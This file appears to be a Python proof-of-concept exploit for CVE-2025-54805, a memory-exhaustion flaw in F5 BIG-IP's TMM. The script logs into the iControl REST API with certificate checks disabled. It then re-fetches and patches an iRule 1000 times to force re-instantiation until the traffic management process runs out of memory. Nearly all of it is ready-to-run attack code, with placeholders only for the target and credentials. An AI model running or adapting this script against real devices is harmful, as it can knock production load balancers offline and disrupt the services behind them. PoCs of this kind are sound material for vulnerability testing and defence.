# CVE-2025-54805 PoC - F5 BIG-IP TMM Memory Exhaustion via Declarative API iRule Re-instantiation
# This PoC demonstrates how to trigger memory exhaustion in TMM by repeatedly
# reconfiguring iRules on a virtual server via the declarative API.
import requests
import json
import sys
import time
# Configuration
TARGET_HOST = "https://<f5-bigip-host>"
USERNAME = "<username>"
PASSWORD = "<password>"
PARTITION = "Common"
VIRTUAL_SERVER = "/<partition>/<virtual_server_name>"
IRULE_NAME = "/<partition>/<trigger_irule>"
ITERATIONS = 1000 # Number of re-instantiation cycles to trigger memory leak
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def authenticate(session, host, username, password):
"""Authenticate to F5 BIG-IP and obtain session token."""
auth_url = f"{host}/mgmt/shared/authn/login"
payload = {
"username": username,
"password": password,
"loginProviderName": "tmos"
}
response = session.post(auth_url, json=payload, verify=False)
response.raise_for_status()
token = response.json()["token"]["token"]
session.headers.update({"X-F5-Auth-Token": token})
print("[+] Authentication successful")
return token
def get_irule_config(session, host, irule_name):
"""Retrieve current iRule configuration."""
url = f"{host}/mgmt/tm/ltm/rule/{irule_name}"
response = session.get(url, verify=False)
response.raise_for_status()
return response.json()
def patch_irule_config(session, host, irule_name, irule_config):
"""Patch iRule configuration to trigger re-instantiation."""
url = f"{host}/mgmt/tm/ltm/rule/{irule_name}"
# Modify a minor property to trigger re-instantiation
irule_config["apiAnonymous"] = not irule_config.get("apiAnonymous", "")
response = session.patch(url, json=irule_config, verify=False)
response.raise_for_status()
return response.json()
def trigger_memory_leak(host, username, password, irule_name, iterations):
"""Main exploit function to trigger TMM memory exhaustion."""
session = requests.Session()
session.headers.update({"Content-Type": "application/json"})
try:
# Step 1: Authenticate
authenticate(session, host, username, password)
# Step 2: Get initial iRule config
irule_config = get_irule_config(session, host, irule_name)
print(f"[+] Retrieved iRule config: {irule_name}")
# Step 3: Repeatedly modify iRule to trigger re-instantiation
for i in range(iterations):
irule_config = get_irule_config(session, host, irule_name)
patch_irule_config(session, host, irule_name, irule_config)
if (i + 1) % 100 == 0:
print(f"[*] Completed {i + 1}/{iterations} re-instantiation cycles")
time.sleep(0.1)
print(f"[+] Exploit completed. TMM memory should be significantly consumed.")
print("[!] Monitor TMM memory: tmsh show sys memory")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
sys.exit(1)
finally:
# Logout
logout_url = f"{host}/mgmt/shared/authn/logout"
session.post(logout_url, verify=False)
if __name__ == "__main__":
trigger_memory_leak(TARGET_HOST, USERNAME, PASSWORD, IRULE_NAME, ITERATIONS)